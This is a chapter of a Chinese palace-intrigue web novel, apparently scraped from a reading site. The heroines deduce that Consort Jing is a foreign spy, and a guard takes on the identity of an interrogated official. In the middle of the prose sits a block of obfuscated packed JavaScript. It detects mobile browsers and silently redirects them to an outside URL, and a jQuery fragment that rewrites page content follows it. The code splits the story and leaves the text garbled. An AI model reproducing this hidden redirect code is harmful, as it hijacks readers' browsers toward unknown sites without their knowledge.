46. 静妃
作品:《雌鸟》 赵延将自己所知的尽数招了。
承安帝这几年在宫中大兴土木与极尽奢靡的宫宴,国库早已空虚不堪。
为填补空缺,他开始借赵延与血隐卫之手,暗中行买官之事牟利,赚得盆满钵满。
西南洪涝急需赈灾,承安帝自是舍不得将好不容易收入囊中的钱财拨给百姓,便令郑丛借家中小妾的商队偷偷贪昧下来。
但实际上,郑丛只是转移视线的幌子,承安帝悄悄命血隐卫行动,在西南山林与关内临城之间挖通了一条地下密道,用于转移钱款。
此事的大胆与心思缜密令人咂舌,唯一未能尽善尽美的是,承安帝本想保下郑丛性命,未料裴臻寸步不让,坚持要判郑丛满门抄斩。
弃子的性命对承安帝而言倒也不那么重要,为避免裴臻发现旁的端倪,承安帝也假作震怒,不再阻挠。
审讯完毕后,赵延受不住刑罚晕死过去,贯来高高在上的头颅彻底耷拉下来,宛若一条丧家之犬。
“没想到狗皇帝还有这么奸猾的时候。”将整件事整理下来,严凤霄若有所思。
阿玉点头,有些迟疑道:“从前在秋宴上,我观陛下也不似……什么聪明人。”
刑房中没有旁人,阿玉也将心里话直言出口,只是她总觉得忽略了什么重要的事。
“卫风,你觉得血隐卫比之殿下的门客,谁能更胜一筹?”思及此处,阿玉问道。
“回娘娘,若血隐卫能压制住殿下的人,这么多年殿下也不至于能令陛下处处吃瘪了。”卫风敢称严凤霄一声“严娘子”,却万万不敢称阿玉为孙娘子。
“这一回,他们倒是令你们殿下吃瘪了。”阿玉闻言,愈发肯定了自己的直觉:“所以我总觉得,这背后还有一双手在搅弄风云。”
她接着说出心中推论:“若齐国军队是借这条密道乘上东风,可密道隐秘得连殿下也未察觉,他们又是怎么知道的呢?所以其中一定存在着泄密之人。从前我看的一本游记上提过西南多林瘴,即使西南与临城之间被挖通,那齐国至西南的路呢?”
“人不可能突然之间生出妙算神机,我觉得,密道的事许有旁人在献计推动。这个齐国派来的内应,或许不仅仅是泄密之人,更是最初的献计之人。”最后,她落下定论。
阿玉的声线依旧温和,一字一句说得无比认真、不疾不徐。
严凤霄安静地注视着阿玉,只觉即使身处昏暗的刑房,她浑身却仿佛散发出莹润的光泽,比起裴臻虚假的君子外皮,她才是真正由内而外的温润如玉。
不,她本就是玉。严凤霄默默地在心里肯定道。
“娘娘说的在理,”卫风亦表示赞同,可确定了密道的事,问题仍回到原处:“不过,关于这个内应是谁,此番审问下来我们仍未得到线索。”
囚室一时陷入沉默,片刻过后,严凤霄忽而开口:“我心中有个人选。”
“静妃娘娘。”阿玉与她对视一眼,福上心头脱口而出。
“我们果然心有灵犀。”严凤霄笑道。
卫风却疑惑:“静妃只是一名远赴他乡不得陛下宠爱与信任的和亲公主,终日闭门不出,怎会有这般能耐?”
“闭门不出或许就是她的掩人耳目,”严凤霄轻飘飘地瞥向卫风,意味不明道:“武艺绝顶的卫统领被我按在桌上后应当有所觉悟才是,不要小看任何一名女子的能耐。”
卫风汗颜,想到白天的窘迫肩膀不由隐隐作痛,讷讷道:“是。”
“当然,以上都是我们的猜测,血隐卫的夏统领定然比赵延知晓得更多,他若能开口,说不定这桩事便解了。”严凤霄的话音落在“夏统领”三字上时格外沉重。
“我们能像现在这样提审他吗?”有了赵延在先,阿玉跃跃欲试。
严凤霄失笑,望向卫风:“小余子,能吗?”
“……不便。”又被唤做“小余子”,卫风心头一跳,生怕严凤霄又一不做二不休让他干更加胆大包天的事。
见他这般如临大敌,严凤霄不由耸耸肩,对阿玉解释道:“夏覃此人不同,血隐卫身份特殊,且还是有些真功夫的,贸然行事惹来造反的帽子便不好了。”
阿玉明了道:“可惜了。”
她今夜表现出的种种适应性实在令人讶异,严凤霄指着赵延关心地问:“阿玉,会觉得害怕吗?”
阿玉摇摇头,郑重道:“不怕。阿凤有所不知,这赵延是无数宫女的噩梦,仗着陛下宠信欺男霸女,连贵妃娘娘的贴身宫女也未能幸免……如今见他受刑,我只觉得解气。”
幽幽烛火带来晦暗的光落在阿玉面上,为她柔美的面容增添了几分锐气。
“竟还有此事,”严凤霄闻言拧起眉头,而后对卫风道:“卫风,听说暗卫中独你最擅长易容之术,且你也算熟悉赵延,回去后不如就由你扮作赵延……”
“严娘子,您当时好像不是这么说的……”卫风不禁睁大双目,表情格外苦恼。
“当时是当时,现在他这样回去了也不好交代。况且,若你能潜藏在狗皇帝身边,有什么风吹草动我们也能第一时间得知。”严凤霄似乎早已打定注意,笑眯眯地望着他。
卫风知她秉性,避开她灼灼的目光,转而向阿玉求助:“侧妃娘娘,殿下离宫前将属下送给了你,命属下寸步不离地保护您,属下的来去该由您来决定。”
决定权给到阿玉,昏暗中严凤霄与卫风皆目光炯炯地盯着她。
若是从前,她定会倍感压力。但此刻,她在眼前二人期待的目光下状似沉思片刻后莞尔一笑,道出心中早已定下的决断:“我听阿凤的。”
“那便这么定了,”严凤霄拍拍手,接着声音沉肃下来,像足了稳坐军中调兵遣将的主帅:“卫风你也安排下去,不论是否还来得及,赵延供出的密道出口须得立刻安排好人;曲城内尚有兵部尚书可作主将,另外通知李家,我们得准备好与太子殿下里应外合。”
***
卫风成为新的赵延,回到赵延住所,“小余子”则被严凤霄以犯上的名头逐出暖阁。
左右“小余子”本就是赵延派来监视暖阁的耳目,如今“赵延”都成了自己人,宫中被主子悄悄处置后无故失踪的宫女太监本就多,自是无人关心他的下落。
翌日雷打不动的晨练后,宫中迎来一位稀客。
寻常日子皆闭门不出的云安大长公主入宫,还带来了一位产婆及她的助手,准备引见给腹中月份渐长的宜妃。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196361|159671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宫外之人入宫须得经过校场,云安来时阿玉与一众妃嫔正累得气喘吁吁,若非长久以来的习惯在身上,她们都想直接席地而坐。
“千万别坐下,娘娘们散散步缓缓,母后,您带头……”严凤霄仿佛看穿了她们心中所想,扬声道。
“……”一阵唉声叹气过后,众人却也格外听话。
王皇后领着所有人绕圈缓缓走动起来,看呆了路过的云安大长公主。
“阿,太子妃,好生威风。”云安停下脚步,对严凤霄调侃道。
“姑祖母也想加入吗?”严凤霄笑道,露出一口白牙。
“不了不了,姑祖母年纪大了。”云安霎时连连拒绝。
因为严家与沈家的交情,严凤霄也算是云安看着长大的,且云安觉得她性子投缘,与她想出去来颇有些忘年交的感觉。
正跟在王皇后身后慢步行走的阿玉听到她们对话的声音,好奇地投去目光,未料在云安大长公主的身后,瞥见两道许久未见却熟悉的身影。
这不是郑姥姥与游连卿么?阿玉震惊地心道。
游连卿眼尖,一眼便在人群中看到阿玉,见阿玉望向自己,还笑着对她眨了下眼睛。
面对她们,阿玉心中却颇有些意味不明的委屈。
那日她们一伙人分明说是要通过胎记确认她的身份,看过后却又不将结果告知于她,让她百思不得其解,连期待都不敢期待。
还有那今日未现身的宿明洲,还说会再见面,却跟缩头乌龟一样。
如今郑姥姥与游连卿都踏入宫门,他也不知躲去哪里偷懒。
登徒子贼人果然不可信,阿玉愤懑地想,下意识重重踩了脚地面。
梁贵妃在她身旁,听到动静看了她一眼。
附近的另外两名妃嫔也以为她在发泄对太子妃的怨气,想着这两日在太子妃魔爪下的日子,对她的同情又多了几分。
“那个,孙侧妃,午后无事要不要来本宫这边打叶子牌?”其中一人压低声音道。
出声之人姓宋,是附居在梁贵妃宫中的贵人。
另一位傅美人也附和道:“是啊是啊,本宫与宋贵人都住在贵妃娘娘那边,叶子牌总缺一人,你要不要来拜见拜见贵妃娘娘?”
素来冷艳的梁贵妃脚步不停,眸光却微不可闻地停留在阿玉身上。
迎着三道或灼热或含蓄的期待目光,阿玉实在无法说出拒绝的话:“此番入宫,妾身确实该去贵妃娘娘宫中拜见一番。”
说完,阿玉发现梁贵妃悄悄勾起了唇角。
结束晨练回到暖阁中,阿玉与严凤霄分享起今日趣闻:“从前做宫女时,觉得娘娘们都高不可攀的,如今相处起来,未想到她们的性子都如此,可爱?”
最后两个字阿玉不确定自己形容的对不对,望向严凤霄征得她的肯定。
严凤霄却扑哧笑出声来,伸手轻轻捏了捏她想捏许久的面颊:“阿玉,你说的没错,并且我看你,也觉得你十分可爱。”
然而阿玉终究未打上叶子牌,因为宫中出了件大事。
也是巧了,云安刚带着产婆入宫没多久,有早产之征的宜妃便提前发动。承安帝命宫中所有女眷皆来到瑶华宫门口,一同祷告宜妃生产顺利。